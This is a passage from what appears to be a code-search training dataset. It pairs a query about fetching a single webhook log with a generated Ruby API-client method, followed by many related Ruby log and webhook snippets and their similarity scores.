"def api_reporting_v1_team_team_oncall_log_get(x_vo_api_id, x_vo_api_key, team, opts = {})\n data, _status_code, _headers = api_reporting_v1_team_team_oncall_log_get_with_http_info(x_vo_api_id, x_vo_api_key, team, opts)\n data\n end",
"def getLog(page = 1, per_page = 20, order_by = ORDERBY_REQUEST_TIME, order_dir = ORDERDIR_DESC)\n\t\t\treturn PushSubscription.getLogs(@user, page, per_page, order_by, order_dir, @id)\n\t\tend",
"def fetch id\n each_unread([]) do |m|\n if m.id == id\n return m\n end\n end\n\n nil\n end",
"def set_log\n @log = Log.find(log_id)\n end",
"def viewlogs args=nil\n db = get_db\n id = args[0].nil? ? db.max_bug_id : args[0]\n row = db.sql_select_rowid \"bugs\", id\n die \"No data found for #{id}\" unless row\n puts \"[#{row['type']} \\##{row['id']}] #{row['title']}\"\n puts row['description'] if row['description']\n puts \n ctr = 0\n db.select_where \"log\", \"id\", id do |r|\n ctr += 1\n puts \"(#{r['date_created']}) #{r['field']} \\t #{r['log']}\"\n #puts \"(#{r['date_created']}) #{r['log']}\"\n end\n message \"No logs found\" if ctr == 0\n 0\n end",
"def read_log(offset, length)\n request('readLog', offset, length)\n end",
"def retrieve_payment_method_transaction_log_object(payment_method_transaction_log_id, fields = nil, zuora_version = nil)\n uri = Addressable::URI.parse(\"/object/payment-method-transaction-log/#{payment_method_transaction_log_id}\")\n uri.query_values = { fields: fields.to_s } if !fields.nil?\n @connection.rest_get(uri.to_s, zuora_version)\n end",
"def final_log_entry\n PL.db.get_recent_log_entries({ station_id: @station_id, count: 1 })[0]\n end",
"def get_logs(job_id:)\n logs = []\n xml_data = get_log_xml(job_id: job_id)\n response_code = get_log_xml_response_code(xml_data: xml_data)\n\n if response_code == \"success\"\n job_status = get_log_job_status(xml_data: xml_data)\n\n if job_status == \"FIN\"\n xml_data.xpath('//response/result/log/logs/*').each do |log_xml|\n logs << PaloAlto::Models::LogEntry.from_xml(xml_data: log_xml)\n end\n else\n raise \"Log job with ID '#{job_id}' is still in progress\"\n end\n else\n raise \"Error in response XML: #{data.inspect}\"\n end\n\n logs\n end",
"def set_loan_log\n @loan_log = LoanLog.find(params[:id])\n end"
] |
[
"0.78363913",
"0.76144254",
"0.70088166",
"0.6947628",
"0.6822728",
"0.66448677",
"0.6503367",
"0.63644373",
"0.635094",
"0.63412386",
"0.6335594",
"0.627689",
"0.6248079",
"0.59931105",
"0.59767085",
"0.5949538",
"0.5918574",
"0.59119946",
"0.5880635",
"0.583994",
"0.5837623",
"0.58132756",
"0.5768417",
"0.5750331",
"0.5743163",
"0.5705259",
"0.5687711",
"0.5678659",
"0.56393623",
"0.5627537",
"0.5622028",
"0.5606086",
"0.55732346",
"0.55587524",
"0.5542343",
"0.5531955",
"0.5517655",
"0.5502316",
"0.54741746",
"0.5473469",
"0.5453446",
"0.54358035",
"0.54292566",
"0.54271626",
"0.54141784",
"0.5401511",
"0.53924114",
"0.53820175",
"0.5376527",
"0.53740895",
"0.5368212",
"0.53623337",
"0.53523993",
"0.53493315",
"0.53493315",
"0.5345364",
"0.53414637",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53286594",
"0.5314185",
"0.5311149",
"0.5306262",
"0.5295893",
"0.52838767",
"0.5273026",
"0.5238072",
"0.52299374",
"0.5224909",
"0.5210756",
"0.52104867",
"0.520529",
"0.5202502",
"0.51959234",
"0.5195417",
"0.5181646",
"0.51794946",
"0.51794946",
"0.51786345",
"0.5168614",
"0.51645184",
"0.5163714",
"0.5159431",
"0.514999",
"0.514872",
"0.5147981",
"0.51293457",
"0.5115804",
"0.5114801",
"0.5100352",
"0.5093076",
"0.5088587",
"0.50867134",
"0.50802815",
"0.50733536"
] |
0.72591716
|
2
|
Fetch an individual webhook log Returns a single webhook log based on the webhook log ID.
|
def get_webhook_log_with_http_info(webhook_log_id, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: LogsApi.get_webhook_log ...'
end
# verify the required parameter 'webhook_log_id' is set
if @api_client.config.client_side_validation && webhook_log_id.nil?
fail ArgumentError, "Missing the required parameter 'webhook_log_id' when calling LogsApi.get_webhook_log"
end
# resource path
local_var_path = '/logs/{Webhook Log ID}'.sub('{' + 'Webhook Log ID' + '}', webhook_log_id.to_s)
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'WebhookLogResponse')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: LogsApi#get_webhook_log\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def details(webhook_log_id)\n API::request(:get, \"webhook_logs/#{webhook_log_id}\")\n end",
"def details(webhook_log_id)\n API::request(:get, FundAmerica.base_uri + \"webhook_logs/#{webhook_log_id}\")\n end",
"def get_webhook_log(webhook_log_id, opts = {})\n data, _status_code, _headers = get_webhook_log_with_http_info(webhook_log_id, opts)\n data\n end",
"def load_log(log_id)\n service.get log_path(log_id)\n end",
"def get_webhook_log(webhook_oid, request_id, opts = {})\n data, _status_code, _headers = get_webhook_log_with_http_info(webhook_oid, request_id, opts)\n data\n end",
"def log(log_id)\n raise Auth0::MissingParameter, 'Must supply a valid log_id' if log_id.to_s.empty?\n path = \"#{logs_path}/#{log_id}\"\n get(path)\n end",
"def find_log\n @log = Log.find(params[:id])\n end",
"def get_webhook_log_with_http_info(webhook_oid, request_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WebhookApi.get_webhook_log ...'\n end\n # verify the required parameter 'webhook_oid' is set\n if @api_client.config.client_side_validation && webhook_oid.nil?\n fail ArgumentError, \"Missing the required parameter 'webhook_oid' when calling WebhookApi.get_webhook_log\"\n end\n # verify the required parameter 'request_id' is set\n if @api_client.config.client_side_validation && request_id.nil?\n fail ArgumentError, \"Missing the required parameter 'request_id' when calling WebhookApi.get_webhook_log\"\n end\n # resource path\n local_var_path = '/webhook/webhooks/{webhookOid}/logs/{requestId}'.sub('{' + 'webhookOid' + '}', webhook_oid.to_s).sub('{' + 'requestId' + '}', request_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WebhookLogResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhookApi#get_webhook_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def details(email_log_id)\n API::request(:get, \"email_logs/#{email_log_id}\")\n end",
"def get_log_message(log_message_id, include_traces = nil)\n path = \"/d2l/api/lp/#{$lp_ver}/logging/#{log_message_id}/\"\n path += \"?includeTraces=#{include_traces}\" unless include_traces.nil?\n _get(path)\n # returns Message JSON block\nend",
"def show\n @log_entry = LogEntry.find(params[:id])\n end",
"def find_log\n @logs = Log.find(params[:id])\n end",
"def get(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def get_webhook(webhook_id)\n request(Route.new(:GET, '/webhooks/%{webhook_id}', webhook_id: webhook_id))\n end",
"def find(id)\n Mailgun.submit :get, webhook_url(id)\n end",
"def set_log_entry\n @log = Log.find(params[:id])\n end",
"def get_log_by_id(id, opts = {})\n data, _status_code, _headers = get_log_by_id_with_http_info(id, opts)\n data\n end",
"def webhook_logs\r\n WebhookLogsController.instance\r\n end",
"def show\n @user = User.find(params[:user_id])\n @log = @user.logs.find(log_params[:id])\n end",
"def log_entry(id, options = {})\n query_params = Hash.new\n query_params[:time_zone] = options[:time_zone] if options[:time_zone]\n query_params[:include] = options[:include] if options[:include]\n\n response = get \"/log_entries/#{id}\", options.merge({query: query_params})\n response[:log_entry]\n end",
"def read(id)\n rows = @pgsql.exec('SELECT log FROM job WHERE id = $1', [id])\n raise WTS::UserError, \"Job #{id} not found\" if rows.empty?\n rows[0]['log']\n end",
"def log(log_no)\n @logs.at(log_no)\n end",
"def get(uuid)\n new(@@data_store.get(:logs, uuid))\n end",
"def log_contents\n if API_KEYS[\"logentries\"]\n account_key = API_KEYS[\"logentries\"][Rails.env][\"account_key\"]\n log_set = API_KEYS[\"logentries\"][Rails.env][\"log_set\"]\n log_name = \"nsc\"\n url = \"https://pull.logentries.com/#{account_key}/hosts/#{log_set}/#{log_name}/?filter=#{log_prefix}\"\n Rails.logger.debug { \"Fetching log from #{url}\" }\n open(url).read\n else\n File.read(log_path)\n end\n end",
"def getContract_log( contract_log_id)\n params = Hash.new\n params['contract_log_id'] = contract_log_id\n return doCurl(\"get\",\"/contract_log\",params)\n end",
"def get_bre_event_log_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_bre_event_log ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling LogsApi.get_bre_event_log\"\n end\n # resource path\n local_var_path = \"/bre/logs/event-log/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BreEventLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_bre_event_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def webhook(id)\n @webhooks[id.resolve_id]\n end",
"def get_log_by_id_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsApi.get_log_by_id ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling LogsApi.get_log_by_id\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/logs/{id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"LogsApi.get_log_by_id\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_log_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def webhook(id)\n make_json_api_request :get, \"v2/#{account_id}/webhooks/#{id}\"\n end",
"def getSales_log( sales_log_id)\n params = Hash.new\n params['sales_log_id'] = sales_log_id\n return doCurl(\"get\",\"/sales_log\",params)\n end",
"def retrieve_log(module_id, nr_of_lines)\n #logs = Log.find(:all, :conditions => [ \"module_id = (?)\", module_id ], :order => 'created_at asc', :limit => nr_of_lines)\n logs = Log.where(\"module_id = (?)\", module_id).order('created_at asc').first(nr_of_lines)\n end",
"def log(log_no)\n @logs.at(log_no)\n end",
"def retrieve_log(module_id, nr_of_lines)\n logs = Log.find(:all, :conditions => [ \"module_id = (?)\", module_id ], :order => 'created_at asc', :limit => nr_of_lines)\n end",
"def set_log_entry\n @log_entry = current_user.log_entries.find(params[:id])\n end",
"def hook(id)\n get(\"/hooks/#{id}\")\n end",
"def show\n @log_entry = LogEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @log_entry }\n end\n end",
"def reload_log_data\n self.log_data = self.class.where(self.class.primary_key => id).pluck(\"#{self.class.table_name}.log_data\".to_sym).first\n end",
"def get_webhook_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsApi.get_webhook_logs ...'\n end\n # resource path\n local_var_path = '/logs/webhooks'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per'] = opts[:'per'] if !opts[:'per'].nil?\n query_params[:'created_at_from'] = opts[:'created_at_from'] if !opts[:'created_at_from'].nil?\n query_params[:'created_at_to'] = opts[:'created_at_to'] if !opts[:'created_at_to'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WebhookLogListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_webhook_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_bre_forward_log_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_bre_forward_log ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling LogsApi.get_bre_forward_log\"\n end\n # resource path\n local_var_path = \"/bre/logs/forward-log/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ForwardLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_bre_forward_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_request_log(request_log_id)\n data, _status_code, _headers = get_request_log_with_http_info(request_log_id)\n return data\n end",
"def perform(hook_id, log_data, response_category, _unique_by)\n hook = WebHook.find_by_id(hook_id)\n\n return unless hook # hook has been deleted before we could run.\n\n ::WebHooks::LogExecutionService\n .new(hook: hook, log_data: log_data, response_category: response_category.to_sym)\n .execute\n end",
"def set_light_log\n @light_log = LightLog.find(params[:id])\n end",
"def get_bre_event_log(id, opts = {})\n data, _status_code, _headers = get_bre_event_log_with_http_info(id, opts)\n return data\n end",
"def get_user_log_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_user_log ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling LogsApi.get_user_log\"\n end\n # resource path\n local_var_path = \"/audit/logs/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'UserActionLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_user_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def log\n @client.get(\"#{path}/log\")\n end",
"def fetch(id)\n search(id: id)[:records].first\n end",
"def getEntityChangelog( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/entity/changelog\",params)\n end",
"def get_webhook_log_summaries_with_http_info(webhook_oid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WebhookApi.get_webhook_log_summaries ...'\n end\n # verify the required parameter 'webhook_oid' is set\n if @api_client.config.client_side_validation && webhook_oid.nil?\n fail ArgumentError, \"Missing the required parameter 'webhook_oid' when calling WebhookApi.get_webhook_log_summaries\"\n end\n # resource path\n local_var_path = '/webhook/webhooks/{webhookOid}/logs'.sub('{' + 'webhookOid' + '}', webhook_oid.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_since'] = opts[:'_since'] if !opts[:'_since'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WebhookLogSummariesResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhookApi#get_webhook_log_summaries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def getBuglog(response)\r\n\t\t\t\ttimeLogs_json = JSON.parse response\r\n\t\t\t\tbuglogs_array = timeLogs_json[\"timelogs\"][\"buglogs\"]\r\n\t\t\t\treturn jsonToBuglog(buglogs_array[0])\r\n\t\t\tend",
"def set_log_entry\n @log_entry = LogEntry.includes(:user, :holding).where(:id => params[:id], :admin_id => @current_user.id).first\n end",
"def get_log\n SimpleWorker.service.log(task_id)\n end",
"def show\n @web_service_log = WebServiceLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_service_log }\n end\n end",
"def get_request_log_with_http_info(request_log_id)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DiagnosticsApi.get_request_log ...\"\n end\n # verify the required parameter 'request_log_id' is set\n fail ArgumentError, \"Missing the required parameter 'request_log_id' when calling DiagnosticsApi.get_request_log\" if request_log_id.nil?\n # resource path\n local_var_path = \"/v2.1/diagnostics/request_logs/{requestLogId}\".sub('{format}','json').sub('{' + 'requestLogId' + '}', request_log_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'File')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiagnosticsApi#get_request_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_webhook\n @webhook = Webhook.find(params[:id])\n end",
"def set_webhook\n @webhook = Webhook.find(params[:id])\n end",
"def set_user_log\n @user_log = current_user.user_logs.where(id: params[:id]).first\n end",
"def fetch_audit_log\n assert_privileges(\"fetch_audit_log\")\n disable_client_cache\n send_data(fetch_local_log(\"audit\"), :filename => \"audit.log\")\n AuditEvent.success(:userid => session[:userid],\n :event => \"download_audit_log\",\n :message => \"Audit log downloaded\")\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def job_log(organization, jobid)\n uri = server_uri(\"/organizations/#{organization}/jobs/#{jobid}/log\")\n res_data = api_get(uri)\n @logger.debug res_data\n\n return res_data\n end",
"def edit\n @log_entry = LogEntry.find(params[:id])\n end",
"def edit\n @log = Log.find(params[:id])\n end",
"def find_by_uuid uuid\n deliberately_unscoped(Webhook).where(uuid: uuid).limit(1).collect(&:to_domain)[0]\n end",
"def get_audit_log_entry_with_http_info(resource_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogApi.get_audit_log_entry ...'\n end\n # verify the required parameter 'resource_id' is set\n if @api_client.config.client_side_validation && resource_id.nil?\n fail ArgumentError, \"Missing the required parameter 'resource_id' when calling AuditLogApi.get_audit_log_entry\"\n end\n # resource path\n local_var_path = '/auditlog/{resourceId}'.sub('{' + 'resourceId' + '}', resource_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditLogEntry')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogApi#get_audit_log_entry\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def get_webhook_with_token(webhook_id, webhook_token)\n route = Route.new(:GET, '/webhooks/%{webhook_id}/%{webhook_token}',\n webhook_id: webhook_id, webhook_token: webhook_token)\n request(route)\n end",
"def set_entry_log\n @entry_log = EntryLog.find(params[:id])\n end",
"def set_change_log_entry\n @change_log_entry = current_rulemaking.change_log_entries.find(params[:id])\n end",
"def show\n @log = @client.logs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @log }\n end\n end",
"def show\n @event_log_entry = EventLogEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_log_entry }\n end\n end",
"def show\n @log = Dmt::SiteLogger::Log.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @log }\n end\n end",
"def fetch_log\n raise NotImplementedError\n end",
"def get_log_content(logid)\n\t\t\t\tbegin\n\t\t\t\t\treturn File.open(INCLUDED_FILES + XSSF_LOG_FILES + find(XSSF_LOG_DB, XSSF_LOG_HASH, {\"ID\" => logid.to_i})[XSSF_LOG_HASH[\"RESULT\"]], \"rb\") {|io| io.read }\n\t\t\t\trescue\n\t\t\t\t\tprint_error(\"Error 24: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\t\t\tend",
"def show\n @activity_log = ActivityLog.find(params[:id])\n end",
"def fetch_production_log\n assert_privileges(\"fetch_production_log\")\n disable_client_cache\n send_data(fetch_local_log(Rails.env), :filename => \"#{Rails.env}.log\")\n AuditEvent.success(:userid => session[:userid],\n :event => \"download_#{Rails.env}_log\",\n :message => \"#{@sb[:rails_log]} log downloaded\")\n end",
"def get_bre_forward_log(id, opts = {})\n data, _status_code, _headers = get_bre_forward_log_with_http_info(id, opts)\n return data\n end",
"def show\n @log = Log.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @log }\n end\n end",
"def show\n @log = Log.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @log }\n end\n end",
"def set_log\n\t @log = Log.find(params[:id])\n\t end",
"def show\n @clothing_log = current_account.clothing_logs.find(params[:id])\n authorize! :view, @clothing_log\n respond_with @clothing_log\n end",
"def fetch_log\n assert_privileges(\"fetch_log\")\n disable_client_cache\n send_data(fetch_local_log(\"evm\"), :filename => \"evm.log\")\n AuditEvent.success(:userid => session[:userid], :event => \"download_evm_log\", :message => \"EVM log downloaded\")\n end",
"def get_guild_webhooks(guild_id)\n request(Route.new(:GET, '/guilds/%{guild_id}/webhooks', guild_id: guild_id))\n end",
"def info(id)\n _params = {:id => id}\n return @master.call 'webhooks/info', _params\n end",
"def one_history\n history = History.find(@id)\n history\n end",
"def get_webhook_by_id(webhook_id, opts = {})\n data, _status_code, _headers = get_webhook_by_id_with_http_info(webhook_id, opts)\n data\n end",
"def api_reporting_v1_team_team_oncall_log_get(x_vo_api_id, x_vo_api_key, team, opts = {})\n data, _status_code, _headers = api_reporting_v1_team_team_oncall_log_get_with_http_info(x_vo_api_id, x_vo_api_key, team, opts)\n data\n end",
"def getLog(page = 1, per_page = 20, order_by = ORDERBY_REQUEST_TIME, order_dir = ORDERDIR_DESC)\n\t\t\treturn PushSubscription.getLogs(@user, page, per_page, order_by, order_dir, @id)\n\t\tend",
"def fetch id\n each_unread([]) do |m|\n if m.id == id\n return m\n end\n end\n\n nil\n end",
"def set_log\n @log = Log.find(log_id)\n end",
"def viewlogs args=nil\n db = get_db\n id = args[0].nil? ? db.max_bug_id : args[0]\n row = db.sql_select_rowid \"bugs\", id\n die \"No data found for #{id}\" unless row\n puts \"[#{row['type']} \\##{row['id']}] #{row['title']}\"\n puts row['description'] if row['description']\n puts \n ctr = 0\n db.select_where \"log\", \"id\", id do |r|\n ctr += 1\n puts \"(#{r['date_created']}) #{r['field']} \\t #{r['log']}\"\n #puts \"(#{r['date_created']}) #{r['log']}\"\n end\n message \"No logs found\" if ctr == 0\n 0\n end",
"def read_log(offset, length)\n request('readLog', offset, length)\n end",
"def retrieve_payment_method_transaction_log_object(payment_method_transaction_log_id, fields = nil, zuora_version = nil)\n uri = Addressable::URI.parse(\"/object/payment-method-transaction-log/#{payment_method_transaction_log_id}\")\n uri.query_values = { fields: fields.to_s } if !fields.nil?\n @connection.rest_get(uri.to_s, zuora_version)\n end",
"def final_log_entry\n PL.db.get_recent_log_entries({ station_id: @station_id, count: 1 })[0]\n end",
"def get_logs(job_id:)\n logs = []\n xml_data = get_log_xml(job_id: job_id)\n response_code = get_log_xml_response_code(xml_data: xml_data)\n\n if response_code == \"success\"\n job_status = get_log_job_status(xml_data: xml_data)\n\n if job_status == \"FIN\"\n xml_data.xpath('//response/result/log/logs/*').each do |log_xml|\n logs << PaloAlto::Models::LogEntry.from_xml(xml_data: log_xml)\n end\n else\n raise \"Log job with ID '#{job_id}' is still in progress\"\n end\n else\n raise \"Error in response XML: #{data.inspect}\"\n end\n\n logs\n end",
"def set_loan_log\n @loan_log = LoanLog.find(params[:id])\n end"
] |
[
"0.78363913",
"0.76144254",
"0.72591716",
"0.70088166",
"0.6822728",
"0.66448677",
"0.6503367",
"0.63644373",
"0.635094",
"0.63412386",
"0.6335594",
"0.627689",
"0.6248079",
"0.59931105",
"0.59767085",
"0.5949538",
"0.5918574",
"0.59119946",
"0.5880635",
"0.583994",
"0.5837623",
"0.58132756",
"0.5768417",
"0.5750331",
"0.5743163",
"0.5705259",
"0.5687711",
"0.5678659",
"0.56393623",
"0.5627537",
"0.5622028",
"0.5606086",
"0.55732346",
"0.55587524",
"0.5542343",
